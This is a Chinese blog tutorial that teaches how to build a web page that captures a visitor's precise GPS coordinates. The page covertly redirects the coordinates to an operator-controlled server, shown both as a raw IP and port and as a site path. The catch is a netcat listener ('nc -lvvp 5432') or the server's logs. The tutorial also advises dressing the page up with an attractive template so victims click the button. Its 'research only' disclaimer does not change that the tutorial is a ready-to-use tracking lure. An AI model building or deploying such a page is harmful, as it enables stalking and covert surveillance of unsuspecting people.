简单2步教你获取任意设备高精度定位

简单2步教你获取任意设备高精度定位

声明

以下教程仅用于学习研究目的,请勿用于非法用途

相关阅读

之前我们关于IP定位的出过很多期教程了

但是很多人觉得麻烦,这次我们将再做一个简化,如何更简单的获取IP定位呢?

简介

本教程将教您通过一个页面,完成高精度定位的获取

在线体验

视频教程

图文教程

体验

点击获取定位,可以读取到精度和纬度信息

图片[1]-简单2步教你获取任意设备高精度定位-FancyPig's blog

这里会具体显示

图片[2]-简单2步教你获取任意设备高精度定位-FancyPig's blog

但并不会传到服务器的日志

如何记录高精度定位信息

那么我们开启第26行代码,去掉//,然后填写您的网站路径或者是IP:端口

document.location="https://www.iculture.cc/demo/geo_result/"+ latlong;

可以通过2种方式来记录请求

  • 方法一:服务器监听端口记录请求
  • 方法二:服务器日志记录请求

方法一

第一种是服务端口(记得检查安全组配置是否允许该端口,以及服务器防火墙是否开启该端口)

第26行代码,例如,我想让他监听服务器的5432端口

document.location="http://39.106.66.45:5432/"+ latlong;

然后,在服务器终端中输入

nc -lvvp 5432

等待请求结果

图片[3]-简单2步教你获取任意设备高精度定位-FancyPig's blog

方法二

当然,如果你不会开启服务器端口,您也可以直接使用宝塔面板的日志功能,我们将重定向链接随意修改,可以是一个不存在的路径,但要在服务器的域名路径下, 第26行代码,例如

document.location="https://www.iculture.cc/demo/geo_result/"+ latlong;

然后去宝塔面板/www/wwwlogs/下寻找相关的日志文件,再从日志文件中查找日志详情即可(视频中有讲)

其他基础教程

如果您没有服务器,我们为您推荐

特价服务器购买

下面是一些腾讯云的活动,强烈建议选择腾讯云学生机,一年也就400多块钱(2核4G 3M带宽)

当然您也可以选择阿里云服务器,或者vultr国外服务器

网站搭建教程

相关代码及工具

简陋版源代码

最基本的框架已经出来了,需要美化可以自行找模板

URL编码/解码工具

下面是常用的在线URL编码解码工具

当然,您也可以使用本地离线工具

经纬度查询工具

你只需要输入获取的纬度,经度

然后用逗号隔开查询即可

美化问题

至于页面美化的问题,这个你可以随便找一个好看的页面,然后把提交按钮上加入onclick="getLocation()",同时引入相关的javascript代码,非常简单!

我们这里以乔碧萝之前的动漫款式为例

图片[4]-简单2步教你获取任意设备高精度定位-FancyPig's blog

下面讲一下美化的思路,附源码

© 版权声明
THE END
喜欢就支持一下吧
点赞68赞赏 分享
评论 共128条

请登录后发表评论